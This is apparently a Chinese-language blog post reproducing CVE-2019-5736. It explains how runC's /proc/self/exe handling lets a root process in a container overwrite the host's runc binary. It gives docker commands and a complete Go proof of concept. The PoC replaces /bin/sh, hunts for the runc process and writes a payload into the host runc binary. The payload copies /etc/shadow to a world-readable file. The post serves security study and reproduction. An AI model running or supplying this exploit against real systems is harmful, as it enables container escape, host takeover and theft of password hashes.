CVE-2019-5736复现

CVE-2019-5736:覆盖宿主机上的runC文件

背景

执行功能类似docker exec等是,底层实际上都是容器运行时在操作,如runC

相应的runc exec命令会被执行,最终效果是在容器内部执行用户执行的程序,就是在容器的各种命名空间内,受到各种限制(Cgroups)的情况下,启动一个进程。除此以外,与在宿主机上执行一个程序并无二致。

执行过程:

  • runC启动,加入容器的命名空间
  • 以自身(/proc/self/exe)为范本启动一个子进程
    • /proc/[PID]/exe:特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件,如/proc/[ls-PID]/exe就指向/bin/ls
      • 打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非按照传统的打开方式做路径解析和文件查找。这样也就绕过了mnt命名空间及chroot机制对一个进程能够访问到的文件路径的限制
    • /proc/[PID]/fd:包含了进程打开的所有文件描述符
  • 通过exec系统调用执行用户指定的二进制程序

利用场景:

在runc exec加入到容器的命名空间中后,容器内进程以及通过内部/proc观察到他,此时如果打开/proc/[runc-PID]/exe并写入内容,将宿主机上的runc二进制程序覆盖掉。这样下次调用runc就会执行攻击者放置的指令

两个限制:

  1. 需要容器内部的root权限
  2. linux不允许修改正在运行的进程对应的本地二进制文件

攻击步骤:

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
  3. 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
  4. 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
  5. runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉
go build main.go
docker run -itd --name cve-2019-5736 ubuntu
docker cp main cve-2019-5736:/poc
docker exec cve-2019-5736 /poc
//另开一个终端(这边注意看自己payload到底是/bin/sh还是/bin/bash)
docker exec -it cve-2019-5736 /bin/sh

//随后查看/tmp/shadow
cat /tmp/shadow

poc:main.go

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
        "fmt"
        "io/ioutil"
        "os"
        "strconv"
        "strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
                fmt.Println(err)
                return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")

        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {
                pids, err := ioutil.ReadDir("/proc")
                if err != nil {
                        fmt.Println(err)
                        return
                }
                for _, f := range pids {
                        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
                        fstring := string(fbytes)
                        if strings.Contains(fstring, "runc") {
                                fmt.Println("[+] Found the PID:", f.Name())
                                found, err = strconv.Atoi(f.Name())
                                if err != nil {
                                        fmt.Println(err)
                                        return
                                }
                        }
                }
        }

        // We will use the pid to get a file handle for runc on the host.
        var handleFd = -1
        for handleFd == -1 {
                // Note, you do not need to use the O_PATH flag for the exploit to work.
                handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
                if int(handle.Fd()) > 0 {
                        handleFd = int(handle.Fd())
                }
        }
        fmt.Println("[+] Successfully got the file handle")

        // Now that we have the file handle, lets write to the runc binary and overwrite it
        // It will maintain it's executable flag
        for {
                writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
                if int(writeHandle.Fd()) > 0 {
                        fmt.Println("[+] Successfully got write handle", writeHandle)
                        writeHandle.Write([]byte(payload))
                    
                        return
                }
        }
}

复现成功

请添加图片描述

参考文献:

云原生安全:攻防实践与体系构建

https://github.com/Frichetten/CVE-2019-5736-PoC

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值